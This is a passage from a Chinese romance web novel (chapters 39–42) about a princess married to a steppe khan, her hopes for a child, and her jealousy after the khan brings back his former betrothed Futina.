她这副躯体,金玉其外,败絮其中。
第39章 第 39 章 39“我想你了。”……
穆凝姝道:“佗佗, 我还能有自己的孩子吗?”
张奉景斟酌道:“这个……谁都说不准。先前雅曼难产,这次阿素珊生孩子也吃了大苦头,你也说过你很怕这桩事。”他拿些甜奶条递给她,安慰道, “鬼门关, 不走也不见得是坏事。”
穆凝姝静默片刻, 这段时间, 她对此事想了太多。
她很想生个女儿。
赫连煊还未有子嗣,若她能生下,便是他的第一个孩子。
她是姜国人,异族女子生下嫡长子,必定引起诸多是非。等以后有了同父异母兄弟, 少不得争权夺利。
女儿不存在继位问题, 平平安安当个富贵公主,她心满意足。
现在得知,以她的身体状况,恐怕连当母亲的机会都没有,遑论王子公主。
但,现实如此。
她坦然接受,道:“你说得是。我近来总去逗小福宝和小胖宝,逗得多了, 免不得想着,若是我和赫连煊有孩子,会是何模样。痛一点其实也没什么……我和他的孩子, 会很可爱吧。”
张奉景问道:“你想要孩子,那他怎么说?”
赫连煊怎么说,她没有直接问过。
上回嬷嬷们闹事, 风言风语传得盛时,他倒是提过一两句,只说让她不必放在心上。
他平日里对孩子们不太在意,小福宝自是不提,小胖宝出生后,他也只是依照习俗,给赫连天林送了份厚礼,满月酒时露了个面就走了。
穆凝姝道:“赫连煊大概无所谓吧。这种态度于我目前的状况而言,倒是个好事,我没什么压力。佗佗,你给我开些温补调理的药,我试着养养身子。能有身孕的话,我很开心,没有也没关系。这种事看缘分,强求不来。”
“好。我行医多年,见过太多生老病死,的确,很多事不可强求。你能这么想就好。”张奉景提笔写字,思虑周密道,“这事我先不给你记档,太医院人多嘴杂,只要在档,免不得遭人泄露,又生出些难听的闲言碎语。你且安心养着,方子和药材,我都替你准备。”
穆凝姝笑道:“难得你贴心,多谢。”
过几日赫连煊又要出征。
草原资源有限,你不去维护和扩张领土,别的部落就要侵袭你。草原君王都是武将出身,亲力亲为,征战四方,远不如中原君王有福气。
趁这段时间,穆凝姝打算跟张奉景好好研究下温补方子,专心调理身体。
* * *
夏季美好,韶光易逝,这回赫连煊出门的时间比往日长。
他在王庭时,日常忙碌,有时一连数日都难正经说几句话,但他在家和不在家的感觉,迥然不同。
她想他了。
白桦树逐渐由绿转黄,缓缓凋零,落叶堆积成金灿灿的小山。
深秋时,赫连煊才回到王庭。
与之同归的,还有呼延芙缇娜。
她一身战甲,骑马跟在他身后,在一众糙汉战士中,英气而不失艳丽。
芙缇娜坐在马上,笑容明媚,眼梢微微上挑,道:“凝姝阏氏,好久不见。”
穆凝姝礼貌回应。
赫连煊吩咐札木尔寻处合适的毡帐,安置芙缇娜。
芙缇娜跟札木尔补充道:“毡帐大小好说,我不挑,但尽量离王庭近点儿,方便我走动。”
她看向赫连煊,“单于,你伤口还未全好,记得按时换药,我的事不用操心。我先去整顿下,晚上见。”
按照惯例,征战归来,夜里都会有慰军宴,大家好吃好喝,跳舞唱歌。
赫连煊点下头,踩镫下马,朝穆凝姝走来。
芙缇娜朝她看看,唇角勾出点笑来,冷冷淡淡,转身策马离去。
穆凝姝随赫连煊回毡帐,“又受伤了?”
他脱下甲胄和里衣,露出背上刀伤,“还好。轻伤而已。每次都免不得。”
她取来伤药,娴熟地替他处理。
他趴在床上,道:“还是公主好,手轻,军医们下手,疼得厉害。”
穆凝姝笑了下,道:“你以前不怕疼呀。胸口那处的伤,比这个严重得多,缝线时也没见你吭声。”
赫连煊道:“由俭入奢易,由奢入俭难。以前没有你照顾,自是不知道疼。”
她动作更轻些,想起芙缇娜,道:“芙缇娜没帮忙上药吗?她看上去,挺能干的。”
“她?她有自己的事要忙。”赫连煊换个方向,伏在她腿上,她长长的黑发扫过他脸庞,“又不是每个人都像你这般关心我。”
她垂眸望着他,道:“嗯,我最关心你。”
赫连煊伸出手指,缠绕她散落的黑发,道:“这趟出去太久,连头发长长了。”又仰脸看她,“又瘦了点。还是胖点更好看。”
穆凝姝无奈道:“胖了嫌我瘦,瘦了又说我胖,你真的很难伺候。”
赫连煊笑了下,正要说什么,阿香进来传话:“札木尔大人说慰军宴已经备好,请单于出席。”
赫连煊起身,换身常穿的箭袖礼服,带穆凝姝一起去。
慰军宴位于空旷之地,升起巨大篝火,将士们绕着周边,席地而坐,喝酒吃烤肉。
中间空出块圆形,姑娘们唱歌跳舞,庆贺凯旋。
芙缇娜作为压轴出场,红衣鲜艳,舞姿奔放。
跳着跳着,裙摆边缘一圈竟燃起火焰,危险又热烈。
将士们皆挪不开眼。
连穆凝姝都看得入迷,低声问身旁的赫连煊,道:“这是什么舞?我从未见过。”
赫连煊道:“呼延部特有的火裙舞,危险难跳,呼延部也不是人人都会。”
穆凝姝点点头,望着人群中张扬恣意的芙缇娜,道:“确实难得。她才艺挺多。我就不会跳舞。”
赫连煊目光停在她身上,道:“不会就不会,同旁人比什么。你这样就很好。”
穆凝姝转过脸,笑道:“也不是要比什么,只是觉得,会跳舞的姑娘都很厉害。这个舞好看,我也想跳。”
敕加族姑娘们都爱以舞蹈向心上人表达情意,特别浪漫。
“啊烫——”
面前烤肉的火炉中,柴火炸了下,跳出几颗小火星。
一颗正好蹦跶到穆凝姝手背上,痛得她惊呼出声。
赫连煊扯过她的手,拿起一旁的冷茶往上倒。
好在火星子一小点儿,就只烫了那么一瞬间。
她白白嫩嫩的手背上,浮出块绿豆大的红迹。
赫连煊牵起她另一只手,带她离开。
穆凝姝犹豫道:“你现在就走吗?不太好吧。宴会还没结束。这点小伤没什么的。或者我自己回去涂点药。”
赫连煊道:“孤不在,他们更自在。”
回到王帐中,赫连煊让人取来烫伤膏,给她涂抹。
很漂亮的一双手,指如削葱根,肤如凝脂,那点烫红分外扎眼。
药膏点在伤处,她“嘶”出声。
他抬眼看她,殷红唇瓣紧紧抿住,双眸湿漉漉,睫毛沾湿,越发显得黑浓。
赫连煊笑了下,道:“刚才还嘴硬说什么?”
她微带鼻音,道:“那是本公主懂事嘛……你烫下试试,很疼的。”
他仍旧带着笑,道:“这么点烫伤都受不住,还夸口想跳火裙舞。”
她装傻道:“啊这个——好学上进呢,总是好的——”
他忽然打断她的左右而言他,道:“想我了吗?”
穆凝姝愣住。
赫连煊重复一次,“想我吗?”
她仍旧呆愣了会儿,道:“唔——还好,大概也许……嗯,有点儿想吧……”
这个问题,着实不像他会问出口的话。
她想他想得要命。
但,她不确定他是否期待这份过于浓烈的思念。
“我想你了。”他接口道。
穆凝姝再度愣住。
她觉得今晚的赫连煊非同寻常,仿佛遭人夺舍。他从来没对她说过这些。
小别胜新婚。
她脑海中浮现出这句话。
赫连煊道:“你不在我身边,我不习惯。”
她忍不住笑起来。
他叹气,“没心没肺。”
话音未落,扣住她的后脑,吻在她唇上。
她抬指抵住他的唇,喘息道:“你身上还有伤。”又举起自己的手,“我也有伤。身残志坚也要……不太好吧。”
赫连煊劝道:“公主,我伤成这样,尚且身残志坚,你就这么点伤,也该坚强点。”
穆凝姝纠结,不是她不坚强,是她担心他不够坚强……她同他亲近时,手会忍不住乱抓。这次分开这么久,她怕控制不住自己。
思索间,他已欺身而上。
再顾不得许多。
* * *
随着赫连煊归来,生活似乎再度恢复常规,跟往日没什么不同。
除了王庭中多出几副新面孔。
赫连煊新提拔了一些年轻将领和大臣,其中包括,呼延芙缇娜。
芙缇娜跟随过来后,得赫连煊赐居,留在了王庭。她时常出入议政大帐,是一众男性臣子中唯一的亮色。
跟一般女子不同,芙缇娜从小被当做男儿教养,颇有才干。前些时候赫连煊征战,她就一直作为近臣,跟在他身旁。
这次回后,赫连煊又让穆凝姝去陪他上朝,她不肯。他便常将奏折搬到寝帐中批阅,除了上朝和开会,不怎么待在议事大帐中。
偶有臣子前来找他禀报事情。
芙缇娜亦是如此。她主管车马调度,时常来问问赫连煊相关事宜。
赫连煊闲暇时,喜欢看看兵法书籍。敕加人文字流传少,他看的书大多来自中原。
芙缇娜前来问政,恰好看见,笑道:“这本书我看过。私以为,谋略篇写得不错,阵法篇有些老旧了。”
赫连煊抬起头来,道:“孤亦觉如此。”
她走上前去,道:“这书是百年前的老东西,免不得落伍。我近来从中原弄了批新书……”
第40章 第 40 章 40不学好
王帐中常有臣子们出入, 穆凝姝喜欢待在屏风后玩自己的,自在惬意。
芙缇娜声音脆亮,同赫连煊聊兵法,时不时笑出声, 两人多聊了几句, 穆凝姝也就多听了几耳朵。
在她对自己的认知中, 求知好学是她的一大优点。即使境况贫乏, 写字和兽医,她都能克服困难,学过七七八八。
但今日她却微微动摇,行军打仗什么的,完全听不懂。入耳仿佛催眠魔音, 念得她晕晕乎乎。
没兴趣。懒得听。
她收敛心思, 放回自己手中的话本上,单手撑头,身上披个毛毯,慵懒地慢慢翻。
书页的光被人挡住。
赫连煊过来,拿起她小桌上的半盏奶茶就要喝。
穆凝姝伸手拦住,从小火炉上取下罐子,另倒一杯给他,道:“我这个是甜的, 你不爱喝。这杯是咸奶茶。”
赫连煊接过茶杯,坐到她身旁,将滑落一般的毛毯拉上来, 搭在她身上。
他微微侧头,看她手里的书,再看她脸上悲戚的表情, 念道:“《姜国后宫传》……有这么好看?”
“好看啊,特别感人。”穆凝姝点点头,给他简明扼要讲解故事内容,感慨道,“唉,男主皇帝掣肘太多,爱得真不容易。”
赫连煊沉默良久,道:“让自己的女人受尽冷待和虐待,住进冷宫,最后还不得好死……什么废物赘婿。姜国皇帝就这德性?他别当皇帝了,不如去北地放羊。”
穆凝姝为心头好话本子辩解道:“这是故事,是虚构。哎呀,你不懂何为缠绵悱恻,情深似海。”
赫连煊嗤之以鼻,道:“拿冷淡当宠爱,全都脑子有病。孤当然不懂。”
穆凝姝请教道:“行。来,请您这位真皇帝说说该如何宠爱?”
“当然是给尽世间一切尊荣,女人立为皇后,孩子立为太子。这么简单的事都做不到,当皇帝图什么?”他随手翻开她那堆宝贝话本子,从中抽出一本,刚看个标题,蹙眉冷峻道,“这本没收。”
穆凝姝妄图抢回心爱的《公主风流记》,以失败告终,懒懒趴在桌上。
赫连煊随便翻开几页,前一页公主跟玉面太医卿卿我我,后一页又换了个清秀探花郎吟诗作对。
他拿书连连轻敲她脑袋,“天天不学好……穆凝姝,这是有夫之妇该看的?”
她捂住头,道:“讨厌,不准打。打头会变笨。你没收就没收,反正我也看完了。”
赫连煊停手,循循善诱道:“你应多看点正经书,比如简单些的计策兵法,从基础学起,像美人计,苦肉计就不错。孤可以陪你演练。”
“想研究兵法你找芙缇娜去,本公主不感兴趣。”话一出口,穆凝姝自觉一股子酸味喷涌而出。
她咳两声,坐起身子,朝赫连煊眨眼勾手指,示意他靠近,道:“兵法我也知道一些,还是姜国内部才有的绝版,你凑过来,我告诉你。”
赫连煊俯身过去。
穆凝姝突然一把抢过他手里的书,咕噜翻下床,趿拉着鞋跑开,一丈开外才止步回头。
她举起书晃晃,脸上的笑容狡黠又得意,道:“三十六计走为上计。不就兵法嘛,谁不会呀。”
说完,一溜烟跑出毡帐。
赫连煊按按额心失笑,大意了。走为上计用得不错……美人计用得更好。
桌上散乱着她的话本子。
他吩咐侍女,将她的东西一一收好。
* * *
穆凝姝带着宝贝逃出生天,朝太医院那边走去。
她的调养药方用完了,得找佗佗拿几包。
赫连煊似乎不太喜欢小孩儿,若是知晓她喝助孕的药,说不定会觉得她在故意算计他。虽说她想要个女儿,但也不是想要女儿就能有,她不想赫连煊觉得她意在嫡长子,进而觊觎王位。
其实现在这状况,她能不能怀上,都难说。思来想去,滋补调养不是短时间能见效的事,不如自己低调补补,只当碰碰运气,成就成,不成便只当没这回事。
没走几步,她遇到芙缇娜。
芙缇娜见她嘴角挂笑,颇是开心,又瞥见她手里的话本子,道:“凝姝阏氏平时,就看这种书?”
穆凝姝顺着她的眼神,看向《公主风流记》,道:“嗯,对。你要看吗?可以借给你。”
芙缇娜笑了下,眼中带上轻蔑,道:“谢了。我只看兵法谋略类的有用之书。这种玩物丧志的闲书,你还是自个儿留着消遣吧。”
穆凝姝脾气好,却并非听不出好赖话。
方才赫连煊虽说她两句,还没收,她听得出只是玩笑话。况且她确为有夫之妇,恰巧也是个公主,他作为一个君主,担心头上戴绿帽,说得过去。
但眼下,芙缇娜从表情到言语,全是讥讽和看不上。
她自得其乐看看书罢了,凭什么连这点爱好都要被芙缇娜随意点评?
穆凝姝道:“闲书有闲书的用处,看了让人笑一笑,也算功德。你口中的兵法谋略,我既不喜欢,也用不上,在我这里,并不比这个话本子高尚。”
芙缇娜眼梢又流露出上回那种傲慢,道:“好啦,凝姝阏氏,我给你道歉。是我不好。跟你一个妇道人家说什么。真是替赫连煊可惜,他在外拼死累活,家里就养着你这种人。”
穆凝姝声线变冷,道:“这种书。这种人。芙缇娜公主,你说话也太难听了。”
芙缇娜道:“你做事更难看,就别怨其他人说得不好听。姑娘节那会儿,你打破规矩,独占赫连煊,可知晓当时有多少人骂你狐媚不知分寸,又有多少人骂他荒唐桀骜?我花了多大力气才安抚好大家?你平日不学无术,兵法倒是研究得透彻,借着合欢蜜大作文章,为己谋私,真令人叹为观止。”
玛茹回耶律部的路,恰巧跟芙缇娜同方向,因此芙缇娜顺道护送了她。两人一路上话题紧绕穆凝姝,自然将相关事宜说得事无巨细。
穆凝姝对此类事感到厌倦,懒得多言,道:“你喜欢如何想,随便你。”
抬脚走路。
芙缇娜惋惜道:“你不值得我想,我只是替赫连煊不值。你配不上他。无论从哪方面看,都配不上。”
穆凝姝停下,回头道:“芙缇娜,照你的标准,有用之书我也看过不少,昨天才看完《母牛的产后护理》。我可以把动物们照顾得很好。赫连煊受伤时,我也能将他照顾妥帖。你是很优秀,但这不代表,所有与你不同的女人就都得受你鄙夷。你要是想给赫连煊当阏氏,可以告诉他去,用不着找我麻烦。”
芙缇娜好似听到了什么大笑话,露出个惊讶的笑,道:“原来你以为,我想抢夺你的位置,给他当妾室?呵——”
她乜她一眼,没再说话,径直朝王帐那边走去。
穆凝姝找到张奉景处取药。新来的一批药物还未来得及分门别类处理好。她就在药帐中帮忙整理下草药。
此处是张奉景的独间,没旁人出入,还挺清静。
混合药草香清新怡神,她很喜欢。刚才看芙缇娜往王帐走,估计是去找赫连煊了,她懒得回去听他俩讨论兵法。
比起玛茹动不动怒吼大骂,芙缇娜的嘲讽不算什么,尤其经过玛茹淬炼后,穆凝姝压根没把这点事放在心上。不喜欢她的人多了去,她在意不过来。
她认认真真捣鼓草药,跟人吵架置气哪有这个有意思。
即使芙缇娜说她不学无术,她仍觉得自己特别棒。无论是捣药还是照顾动物,每件事她都做得很投入。
芙缇娜官职加身,调度车马,确实很风光。但如果没有他们这些兢兢业业养育牛马的人,官员调度哪门子的车马去。
张奉景拿着穆凝姝带来的那本《公主风流记》,翻来翻去,却一个字没看进去,默默看了穆凝姝沉浸捣药,足足一个时辰不带停。
张奉景终是忍不住,道:“凝姝,那个芙缇娜公主,你知道吗?”
穆凝姝随口回道:“知道啊。姑娘节时见过,这次过来留在赫连部为臣子。”
张奉景吸口气,停顿片刻,道:“那你知不知道,赫连煊这回之所以在外时间拉长,是因为他亲自去了祯跶部,迎芙缇娜回来?”
穆凝姝停下药杵,抬眸看他,道:“这个……还真不知道。”
张奉景道:“看来我比你知道得多一点。那你且听一听吧。”
此番赫连煊出征长达两个月,战至中途,赫连煊亲自去祯跶部将芙缇娜接了回来,因战事未完,芙缇娜就一直跟随他,留在军中。
回来赫连部前,两人已相伴一月有余。
且为亲迎芙缇娜,赫连煊花费了重金。出征之时,赫连煊就将用以向祯跶部换取芙缇娜的财物,全部装车,随军用辎重一起运送。可见,此事并非一时兴起,而是计划良久。
张奉景道:“赫连煊之前去祯跶部当质子的事,你知道吧?”
穆凝姝点点头,“当时他在赫连天雄手下过得不好,有性命之忧。两部落之间当时达成合作,交换质子,以作盟誓,他就主动去了。”
张奉景道:“这是其一,还有个原因。他是为芙缇娜而去。”
穆凝姝愣了下,捣药的手速缓慢下来,道:“为了她?”
张奉景不忍心说下去,但觉得不告诉她,才是对她最大的不公平。
她这人,性子颇有点傻气,喜欢上赫连煊,就如喜欢她心爱的动物和药草,认认真真,心无旁骛。
可是,赫连煊却不见得能回应她这份情。
感情里的事,并非有付出就一定会有回报。
张奉景默然,良久,道:“他们有婚约。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m
40-50
第41章 第 41 章 41醉
芙缇娜出自呼延部, 父亲名唤呼延奔,是呼延部首领,拥护赫连煊父王,为其手下大将。君臣二人感情深厚, 两家交好。
赫连煊出生半年后, 呼延家迎来了小女儿芙缇娜。
两个孩子一男一女, 年岁相近, 两家便定下娃娃亲,待年岁一到就举行大婚。赫连煊出生即为太子,芙缇娜是他未来的正妻。
然而赫连天雄扰乱了这段姻缘。
赫连天云骤然薨逝,呼延奔作为首席大将,不肯投诚, 带呼延部反抗赫连天雄, 惨遭围剿,迫于无奈,带领残余的呼延部众人,叛逃至祯跶部,芙缇娜跟随父亲离开。
中间许多年,赫连煊和芙缇娜是否有联系,无人知晓。
但两年前他去祯跶部为质子,的确跟芙缇娜再续前缘了, 只是颇为不顺。
彼时赫连煊处境艰难,屈居人下,芙缇娜却为呼延部掌上明珠, 左右逢源,在一众贵族高门中,都是最耀眼的存在。
或许在呼延奔眼中, 昔日主君的遗孤,已配不上自己的宝贝女儿,赫连煊同芙缇娜虽终于再度相见,却没能立刻成婚。但呼延奔仍然给了赫连煊机会,将兵马借给他,助他回攻赫连天雄。若他能干出一番事业,婚约就继续,干不成,他也没命回来。
赫连煊奇袭那天的人马里,不乏呼延部精锐。
祯跶单于跟赫连天雄积怨已久,对赫连煊的弑君谋划喜闻乐见,知晓他喜欢芙缇娜,便美名其曰对她视如己出,将其封为公主,扣留在祯跶部,同赫连煊定下大价码,既能防赫连煊反噬,又能一本万利。
如此一来,赫连煊得以返回探亲,才有了后续刺杀机会。
而今赫连部逐渐壮大,赫连煊如约接回芙缇娜。
穆凝姝想起方才芙缇娜惊讶的冷笑和反问。
“你以为,我想抢夺你的位置,给他当妾室?”
原来不是芙缇娜抢夺,她根本看不上妾室之位。一直以来,是赫连煊在追逐她。
张奉景道:“你如何想?”
“我觉得……这个药应该先切碎点才更好捣。”穆凝姝沉默片刻,继续捣药道,“你说的这个事,听上去挺符合赫连煊性子,迂回深刻,风格也很典型。他做事向来周密。”
张奉景犹疑会儿,抬手放在她肩上,轻拍道:“我告诉你这些,不是有意让你难过。我是想说,即有如此前情,你该有点心理准备,免得之后突如其来,弄得你措手不及,狼狈伤心。”
穆凝姝点点头,道:“你的好意,我自是知晓。佗佗,你有喜欢的人吗?”
张奉景怔住,扯唇笑道:“怎么忽然问我这个?”
她道:“你要是有喜欢的人,就会知道,感情并非能随心所欲控制的东西。没经历过的人,只会觉得难以理喻。”
张奉景顿住,目光柔和,叹气含笑道:“我能理解。毕竟……看过那么多话本子。我当然明白,能收放自如,就不叫感情。明知不合时宜,该放不下的,还是放不下。”
穆凝姝望向窗外枯枝荒草,北地冬长夏短,转眼间,寒季又至。
她看了好一会儿,道:“赫连煊说过,爱会带来贪欲,让人沉溺。他说得极对,预言了我对他的想法。起初,我仅仅只想留在他身边,看到他,跟他说说话,都开心。即使他不喜欢我,也不妨碍这件事。如今知道他对芙缇娜用情至深,我忽然整个心闷得难受。且不论你探来的消息是真是假,我的感受骗不了人。这是不对的。”
张奉景道:“有何不对?”
穆凝姝道:“一切都没有变化,他心里那个人无论存在与否,从来与我无关,他没有变过,是我对他产生了不该有的占有欲。我应当回到自己本来的位置上。我只是需要点时间。”
* * *
一场大雪毫无征兆,来势凶猛。短短数日,冻死牛羊无数,各部都派人送来急报,禀报灾情,请求支援。
赫连煊忙得越发厉害,连走在路上的时间,都被一群大臣围着禀奏各项事宜,芙缇娜亦在其中,常随他左右,帮着处理政事。
待他回到寝帐时,已是后半夜,有时接连几晚彻夜不归。
穆凝姝每晚睡前,让侍女炖点当归乌鸡汤之类的补品,以小火炉温着,就放在帐中,赫连煊回来后,随时可以吃些。
难得回来得早,穆凝姝还未睡着,便跟他一起吃宵夜,道:“你最近太劳累,即使身子好,怕是也扛不住这般折腾。我让侍女送去的参汤,用得上吗?”
“没。那东西喝了生躁,难受。”赫连煊看向她,“公主,你若当真关心我,该自己亲自来送。”
穆凝姝疑惑道:“东西都一样,侍女送和我送,功效还能有何区别?”
赫连煊道:“你送的,哪怕是毒药,我都会喝。你为何不亲自送来议事大帐?你许久没去找我,白日里见不到人,比我还忙。”
她垂眸笑笑,道:“还有心思开玩笑,说明身子还扛得住,也不知你什么铸造的奇才。最近灾情严重,忽然降温,冻死冻病不少人。我和佗佗——”
穆凝姝顿住,想起赫连煊似乎不喜欢这个称呼,改口道:“我和张太医等人,带着草药去附近牧民村落里发放,风寒等病,需尽早遏制。”
赫连煊眼神转过,落在碗中,道:“冰雪难行,你不要太勉强。那些事让他们做就行。”
穆凝姝道:“我只是做些力所能及的事,不会勉强。”
她对草药熟悉,做事又快又好,很多小太医远不及她。即使做的事情听上去微末,却也并非芙缇娜口中的一无是处。
赫连煊放下勺子,往浴间走去。碗中还剩半盏残羹。
她命人收拾了,漱漱口,躺床歇息。
身后忽然传来一阵热意。
赫连煊带着出浴的湿热,将她抱在怀中,吻在她后颈。
她微微颤抖,漏出点吸气声。
他将她拽过来,面朝自己,吻得急切粗暴,带有不同寻常的原始野性。
“唔——”
她吃痛轻哼。
殷红的血沾染在二人唇上。
赫连煊尝到口中腥咸,骤然停住。
她乌发凌乱,唇瓣被他咬破,血珠往外冒,衣裳七零八落,腰间和大腿处赫然两道红掌印,他捏握太用力。
理智顿时回归。他抬手想拂去她唇边血迹,未及碰到,她瑟缩着往后躲了下。
他都对她做了些什么?
赫连煊继续伸手,执拗却极轻极轻地,抹去那点殷红。
穆凝姝随着他的动作,舔下唇瓣的破口处,磕巴道:“我、我没事。我知道,最近政事不顺,你心头沉重,才……没关系,也没有很痛。”
她抬手将凌乱的发拢在耳后,扯过旁边乱糟糟的衣料,遮掩胸口。
赫连煊起身,命侍女给穆凝姝上药,便径直走去帐外。他对她的身体和反应极熟悉,极敏锐。
因此,最近她微末的抗拒和僵硬,都没能逃过他的感知。
越是如此,他越是忍不住要她接纳他。
直至今晚,他的过分,让她仓皇无措。
赫连煊抓过两捧雪,盖在脸上,反复几次,心里那股火仍旧难以消去。
最近好几次,他远远望见穆凝姝和张奉景在一起,有说有笑。他不在赫连部的那两年里,张奉景对她诸多照顾,两人认识很久,交情也深厚。
这趟他外出两个月才回,穆凝姝和那人似乎越发熟络。
他自小认识张奉景,这位同族身上有一半姜国血脉,长相和文化都更偏向姜国,自是同她一见如故。
之前还听穆凝姝提过,她那些宝贝话本子,还都是张奉景帮忙弄来的。
连爱好都相似。
她最爱的话本里,公子们无一不是温文尔雅,体贴柔和。
就如张奉景。
佗佗,她总是这么叫那个人。
那么,他想问问她,他呢?
他算什么?
* * *
外面忙乱一锅粥,家中也不太平。小胖宝不知何故突然吐奶,张奉景检查后,说是克化不良,让阿素珊喝些帮助克化的药,待融进奶里再喂给孩子,还要多帮小胖宝推拿按摩。
虽然侍女奶妈一大堆,阿素珊却焦虑难解,巴不得事事亲力亲为,孩子给谁都不放心,自己跟着学了推拿按摩的穴位,按揉宝宝的小肚肚。穆凝姝将药包送过来,陪阿素珊照顾小胖宝,劝她宽心。
她拿了小药炉,坐在旁边熬药。
阿素珊忧心道:“凝姝,你不必浪费时间陪我。有空不如多去单于那边走动,小夫妻嘛,时时刻刻看到彼此,多说说话,感情才越来越深……”怕穆凝姝太佛戏,干脆直接道,“哎呀,你去找他,别让那个芙缇娜总缠着他。”
穆凝姝道:“芙缇娜是臣子之列,我——”
阿素珊急道:“你管她是什么。你是他的女人,这种时候就要跟他闹。不,不是闹,反正就是你得尽量挡在他们中间。你不去占据赫连煊的时间,芙缇娜就占据,此消彼长,对你没好处……况且他们本来就前缘匪浅。我跟你直说吧,自从那个女的过来,我就担心你,前些日子把天林灌醉,问了一遭。他说了许多。”
阿素珊所言,同张奉景说的那些,几乎能一一对上。但她从赫连天林处,多打听出了几桩细节,关于赫连煊。
赫连天林为人八卦,又是赫连煊的小叔,关系亲厚。芙缇娜之事刚传出来时,赫连天林好奇得抓痒挠腮,问赫连煊,赫连煊却一向寡言,不肯多说。
直到有一次,契机之下,赫连煊喝多了,喃喃自语,说出不少醉话。
第42章 第 42 章 42旧衣
那会儿时值涂丹部刚灭亡, 赫连煊带兵归来没多久。
赫连部吞并大部族涂丹,阖族上下狂欢不休,没日没夜唱歌跳舞,吃吃喝喝, 长达半月。
大家都很快乐, 除了赫连煊。
他的母亲耶律槿缠绵病榻许久, 全靠价赛黄金的补药丹剂续命。赫连天雄同她纠缠几十年, 两人分分合合,虚与委蛇,相敬如宾,恨之入骨……爱恨情仇里的所有状况反反复复。
赫连煊尚且年幼时,耶律槿靠卑微逢迎杀夫仇人来保全孩子。赫连煊长大后, 赫连天雄拿耶律槿的命玩弄他于鼓掌间。
最稀奇名贵的药物, 单单靠钱是买不到的,得靠权势。唯有赫连天雄可以做到。
待赫连煊灭掉涂丹凯旋,耶律槿已溘然长逝,消弭于世间。
连抔骨灰都未留下。
敕加族信奉天葬。人死后,身体留在旷野间,苍鹰和秃鹫啄食殆尽,从此魂归苍天大地。
依依不舍的亲人们,会在最后的弥留之地栽种一棵树, 缅怀纪念。
赫连天雄没有。或许对于这个跟自己纠缠一生,却从未爱过自己女人,他早已身心俱疲。耶律槿生前, 他始终对其他女人提不起兴致,有几次被她气得厉害,就去找其他女人发泄, 却因不得欢愉而益发痛苦。
赫连涛便是这样的产物。
赫连天雄不记得唯一亲儿子的生母长什么模样,也不在乎,其实他也不在乎赫连涛。但是他觉得,他应该给赫连涛所有最好的东西,最偏袒的对待,像一个父亲应该爱儿子那样去表现。同时,以相反的方式去对待赫连煊。
折磨赫连煊,儿子痛苦,母亲就会痛上千万倍。
这样很好。
所以,他就是要让耶律槿至死都见不到儿子最后一面,死不瞑目。让赫连煊连她的遗骨都拾不到一块。
灭亡涂丹部的最大功臣当属赫连煊,但一切荣耀与赏赐,最终全部归属于赫连涛。
热闹和欢乐属于他们,赫连煊什么都没有。
赫连天林是在一处荫蔽的灌木丛处找到赫连煊的。
他靠着一棵树席地而坐,一言不发灌闷酒。平日里常戴的那只宝石耳坠竟不知去向。
那是耶律槿送他的,他很喜欢。
赫连天林知晓他心情不好,怕他闷出病,又取了几坛酒同他对饮。自己喝一口,让他喝半坛。
赫连煊醉得神志不清,念及耶律槿,竟伤心得落下泪来,说自己再也没有母亲了,再也没有亲人。
赫连天林吓一跳。他这侄儿打小悲惨,心性却硬得很,向来打落牙齿和血吞,狠得他常常以为赫连煊天生淡漠,异于凡人,也让他常常忘记,赫连煊至今也就十七岁。
短暂的十七年里,没过过几天好日子。
但是吧,赫连煊的话,赫连天林有点意见,搂着他的肩膀,道:“小叔还没死……怎么就没亲人呢?我不是你亲人吗?”
赫连煊甩开他的手,没理他。
赫连天林有良心,但不多,被赫连煊这般一甩,决定摒弃最后一丝良心。
千载难逢的机会,不如满足下自己的八卦愿望。
赫连天林蹲到他身旁,道:“你跟那个公主怎么回事儿?啊?芙缇娜公主——”
不知道哪个字刺激到赫连煊,他蹭一下突然站起来,将赫连天林带翻在地。
他眼中颓丧一扫而空,竟迸发出极强的狠厉杀意,喃喃道:
“公主——对,我还有她。”
“明明是我先遇到她。”
“为什么要连她都要从我身边夺走?”
“全杀了……把你们全杀了,当上单于,把她抢回来……”
赫连煊竟说个不停。一会儿要杀人抢公主,一会儿又说公主金枝玉叶,从小过得娇贵,自己一无所有,配不上公主。绕来绕去,又绕回弑君篡位,要把一切献给公主。
赫连天林有点伤心。亲侄儿长这么大,对他说过的话,不足今晚醉话的零头。不过这么算的话,大概跟他认识的所有人都得伤心,他活十七年,说过的话,也不如今夜多。
听到后来,赫连天林都开始害怕了。
他的好大侄,堂堂一百年难遇的军事天才,方方面面随意挑出来都能碾杀精英俊杰无数,竟然自卑又扭曲,满心杀戮,不计代价。
就为了个女人。
赫连天林痛哭捶地,“家门不幸啊家门不幸,又疯一个——”
他捡根大木棍,整夜跟在赫连煊身后,怕他突然发酒疯,直接冲去杀赫连天雄。
必死无疑。
赫连天林战战兢兢,他打不过赫连煊,整夜悬着一颗心后悔,不该灌酒,喝酒误事,酒是穿肠毒,害人精。以后他自己喝就好,再也不劝别人喝,尤其是打不过的人。
幸亏赫连煊没闹行刺。
次日赫连煊清醒后,头痛欲裂,问赫连天林发生了什么。
赫连天林生怕他提刀就去硬刚赫连天雄,哪里还敢提芙缇娜,就说他喝多了,悼念母亲云云。
赫连煊未疑其他,但自那以后,再也没喝醉过。
后来赫连天林知道他有了穆凝姝,还挺宠爱,甚是高兴,巴不得亲侄儿宠上一百个女人。
偏执,不是好习惯,没有好下场。
博爱广纳,才能营养均衡,心态平稳又健康。
直至最近,他又去迎回了芙缇娜,好在暂时还算正常,也没说立刻摒弃穆凝姝,或许真得到了,就化解了求而不得的缺憾吧。
即使如此,赫连天林依旧为穆凝姝捏把汗,两个姑娘接触下来,他还是更喜欢穆凝姝这个侄媳的性格。况且她还对自己的妻儿有大恩。他犹豫着要不要提醒下穆凝姝,心里正堵得慌,碰上阿素珊灌酒,什么都吐了个干净。
* * *
阿素珊伸手推推听愣的穆凝姝,道:“凝姝——都说完了,你怎么想的?”
穆凝姝回过神来,良久,才道:“他连母亲最后一面都没见到,肯定很难过。”
原来第一次与他相遇时,是这种情况。如果她知晓内情,一定会抱抱他。
不对,那时候他们不认识。他不会允许她碰他。
还好当时小狗崽跑出去了,他摸了那么久毛茸茸的小崽子,或许能缓解下亲人离去的悲痛。
那只宝石耳坠竟然是耶律槿遗物,她以为,他是随手打赏她。
大概因为她也是公主,让他想起芙缇娜了吧。后来来找她,见她在异族生活不易,联想到芙缇娜亦是远在祯跶部,就想照顾她一二。
